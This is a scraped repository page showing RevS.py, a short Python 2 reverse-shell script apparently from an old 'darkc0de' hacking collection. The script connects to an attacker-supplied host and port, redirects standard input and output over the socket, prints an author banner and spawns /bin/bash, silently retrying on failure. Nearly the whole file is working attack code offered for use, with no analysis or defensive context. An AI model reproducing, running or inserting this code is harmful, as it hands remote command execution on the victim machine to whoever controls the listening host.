forked from tuwid/darkc0de-old-stuff
-
Notifications
You must be signed in to change notification settings - Fork 7
/
RevS.py
34 lines (27 loc) · 801 Bytes
/
RevS.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python
import sys, socket, os
def proceso():
host = str(sys.argv[1])
puerto = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while 1:
try:
s.connect((host, puerto))
os.dup2(s.fileno(), sys.stdin.fileno())
os.dup2(s.fileno(), sys.stdout.fileno())
s.sendall(('\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'))
s.sendall(('~~ Python Reverse shell ~~\n'))
s.sendall(('~~ Kalith: Kalith[at]gmail[dot]com ~~\n'))
s.sendall(('~~ http//0x59.es ~~\n'))
s.sendall(('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n'))
while 1:
os.system('/bin/bash')
except:
pass
def main():
if len(sys.argv) == 3:
proceso()
else:
print "Modo de uso: "
print "python %s host puerto" % (sys.argv[0])
main()